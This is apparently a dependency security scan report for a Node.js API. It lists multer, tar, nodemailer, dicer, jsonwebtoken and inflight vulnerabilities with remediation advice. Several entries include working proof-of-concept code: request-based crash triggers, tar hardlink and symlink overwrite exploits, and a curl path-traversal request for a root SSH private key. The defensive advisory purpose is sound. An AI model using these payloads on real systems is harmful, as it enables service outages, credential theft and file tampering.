Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › multer@1.4.4Remediation: Upgrade to multer@2.0.1.
Overview
Affected versions of this package are vulnerable to Uncaught Exception in makeMiddleware, when processing a file upload request. An attacker can cause the application to crash by sending a request with a field name containing an empty string.
Remediation
Upgrade multer to version 2.0.1 or higher.
References
high severity
new
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › multer@1.4.4Remediation: Upgrade to multer@2.1.0.
Overview
Affected versions of this package are vulnerable to Incomplete Cleanup in the makeMiddleware() function in make-middleware.js. An attacker can cause resource exhaustion by sending malformed requests.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade multer to version 2.1.0 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › multer@1.4.4Remediation: Upgrade to multer@2.0.0.
Overview
Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.
Note:
This is only exploitable if the server is handling file uploads.
Remediation
Upgrade multer to version 2.0.0 or higher.
References
high severity
new
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › multer@1.4.4Remediation: Upgrade to multer@2.1.0.
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the makeMiddleware() function, when dropping a connection during file upload. An attacker can cause resource exhaustion.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade multer to version 2.1.0 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › multer@1.4.4Remediation: Upgrade to multer@2.0.0.
Overview
Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.
PoC
const express = require('express')
const multer = require('multer')
const http = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888
const app = express()
app.post('/upload', upload.single('file'), function (req, res) {
res.send({})
})
app.listen(port, () => {
console.log(`Listening on port ${port}`)
const boundary = 'AaB03x'
const body = [
'--' + boundary,
'Content-Disposition: form-data; name="file"; filename="test.txt"',
'Content-Type: text/plain',
'',
'test without end boundary'
].join('\r\n')
const options = {
hostname: 'localhost',
port,
path: '/upload',
method: 'POST',
headers: {
'content-type': 'multipart/form-data; boundary=' + boundary,
'content-length': body.length,
}
}
const req = http.request(options, (res) => {
console.log(res.statusCode)
})
req.on('error', (err) => {
console.error(err)
})
req.write(body)
req.end()
})
Remediation
Upgrade multer to version 2.0.0 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › multer@1.4.4Remediation: Upgrade to multer@2.0.2.
Overview
Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of multipart requests. An attacker can cause the application to crash by sending a specially crafted malformed multi-part upload request that triggers an unhandled exception.
Remediation
Upgrade multer to version 2.0.2 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: bcrypt@5.1.1
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.8 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@6.10.1
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › nodemailer@6.10.1Remediation: Upgrade to nodemailer@7.0.11.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Uncontrolled Recursion in the addressparser function. An attacker can cause the process to terminate immediately by sending an email address header containing deeply nested groups, separated by many :s.
Remediation
Upgrade nodemailer to version 7.0.11 or higher.
References
high severity
- Vulnerable module: dicer
- Introduced through: multer@1.4.4
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › multer@1.4.4 › busboy@0.2.14 › dicer@0.2.5
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.
PoC
await fetch('http://127.0.0.1:8000', { method: 'POST', headers: { ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro', ['content-length']: '145', connection: 'keep-alive', }, body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--' });
Remediation
There is no fixed version for dicer.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@6.10.1
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › nodemailer@6.10.1Remediation: Upgrade to nodemailer@7.0.7.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of quoted local-parts containing @. An attacker can cause emails to be sent to unintended external recipients or bypass domain-based access controls by crafting specially formatted email addresses with quoted local-parts containing the @ character.
Remediation
Upgrade nodemailer to version 7.0.7 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@8.5.1
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › jsonwebtoken@8.5.1Remediation: Upgrade to jsonwebtoken@9.0.0.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.
Exploitability
Users are affected when using an algorithm and a key type other than the combinations mentioned below:
EC: ES256, ES384, ES512
RSA: RS256, RS384, RS512, PS256, PS384, PS512
RSA-PSS: PS256, PS384, PS512
And for Elliptic Curve algorithms:
ES256: prime256v1
ES384: secp384r1
ES512: secp521r1
Workaround
Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@8.5.1
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › jsonwebtoken@8.5.1Remediation: Upgrade to jsonwebtoken@9.0.0.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey argument due to misconfigurations of the key retrieval function jwt.verify(). Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.
Note:
This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify() implementation with the same key retrieval function.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@8.5.1
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › jsonwebtoken@8.5.1Remediation: Upgrade to jsonwebtoken@9.0.0.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.
Exploitability
Users are affected only if all of the following conditions are true for the jwt.verify() function:
A token with no signature is received.
No algorithms are specified.
A falsy (e.g.,
null,false,undefined) secret or key is passed.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: bcrypt@5.1.1
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.
Note:
This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.
Workaround
This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Remediation
Upgrade tar to version 7.5.4 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: rimraf@3.0.2 and bcrypt@5.1.1
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: tar
- Introduced through: bcrypt@5.1.1
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.7 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: bcrypt@5.1.1
Detailed paths
-
Introduced through: merit-money-api@jeandejavu/merit-money-api#f58df17de639eb22b35a3623596c491e416aed38 › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.
PoC
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.3 or higher.